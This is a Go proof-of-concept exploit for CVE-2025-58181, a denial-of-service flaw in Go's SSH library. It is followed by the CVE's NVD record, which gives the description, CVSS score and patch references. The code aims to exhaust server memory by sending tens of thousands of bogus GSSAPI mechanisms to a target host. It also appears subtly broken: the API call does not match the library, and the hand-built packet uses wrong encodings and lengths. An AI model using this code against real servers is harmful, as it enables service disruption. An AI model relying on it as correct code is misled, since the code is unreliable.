CVE-2025-58181

package main import ( "fmt" "log" "net" "golang.org/x/crypto/ssh" ) func main() { // Target SSH server configuration target := "target-server:22" // Create a large number of GSSAPI mechanisms to trigger memory exhaustion numMechanisms := 100000 // Large number to exhaust memory // Build malicious GSSAPI authentication request mechanisms := make([][]byte, numMechanisms) for i := range mechanisms { mechanisms[i] = []byte(fmt.Sprintf("malicious-mechanism-%d", i)) } // Create GSSAPI init packet with many mechanisms // SSH GSSAPI init packet format: byte(SSH_MSG_USERAUTH_REQUEST), string(username), // string(service), string("gssapi"), uint32(mechanism_count), mechanisms... config := &ssh.ClientConfig{ User: "test", Auth: []ssh.AuthMethod{ ssh.GSSAPIWithMICAuthMethod(mechanisms, "test-realm"), }, HostKeyCallback: ssh.InsecureIgnoreHostKey(), } // Attempt to connect - this will trigger memory allocation for all mechanisms conn, err := ssh.Dial("tcp", target, config) if err != nil { log.Printf("Connection attempt completed: %v", err) } else { conn.Close() } } // Alternative raw packet PoC for testing: func sendRawGSSAPIPoC(target string) error { // Connect to SSH server conn, err := net.Dial("tcp", target) if err != nil { return err } defer conn.Close() // SSH protocol version exchange (simplified) // ... (standard SSH banner exchange) // Build malicious GSSAPI authentication request packet // This PoC demonstrates the concept of sending excessive GSSAPI mechanisms maliciousPacket := buildMaliciousGSSAPIPacket() // Send the malicious packet _, err = conn.Write(maliciousPacket) return err } func buildMaliciousGSSAPIPacket() []byte { // Construct packet with excessive GSSAPI mechanisms // to trigger unbounded memory allocation numMechanisms := 50000 packet := []byte{byte(ssh.UserAuthRequest)} packet = append(packet, []byte("test")...) packet = appendVarint(packet, 4) // service name length packet = append(packet, []byte("ssh-connection")...) packet = appendVarint(packet, 5) // "gssapi" length packet = append(packet, []byte("gssapi")...) // Add mechanism count packet = appendVarint(packet, uint64(numMechanisms)) // Add many mechanism names for i := 0; i < numMechanisms; i++ { mechanismName := fmt.Sprintf("mech-%d", i) packet = appendVarint(packet, uint64(len(mechanismName))) packet = append(packet, []byte(mechanismName)...) } return packet } func appendVarint(data []byte, v uint64) []byte { for v > 0x7f { data = append(data, byte(v&0x7f|0x80)) v >>= 7 } data = append(data, byte(v)) return data }

{"cve": {"id": "CVE-2025-58181", "sourceIdentifier": "[email protected]", "published": "2025-11-19T21:15:50.850", "lastModified": "2025-12-11T19:29:24.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:crypto:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.45.0", "matchCriteriaId": "0DB7D01D-5361-40FC-83A9-91A601A0321D"}]}]}], "references": [{"url": "https://go.dev/cl/721961", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/76363", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/w-oX3UxNcZA", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4134", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}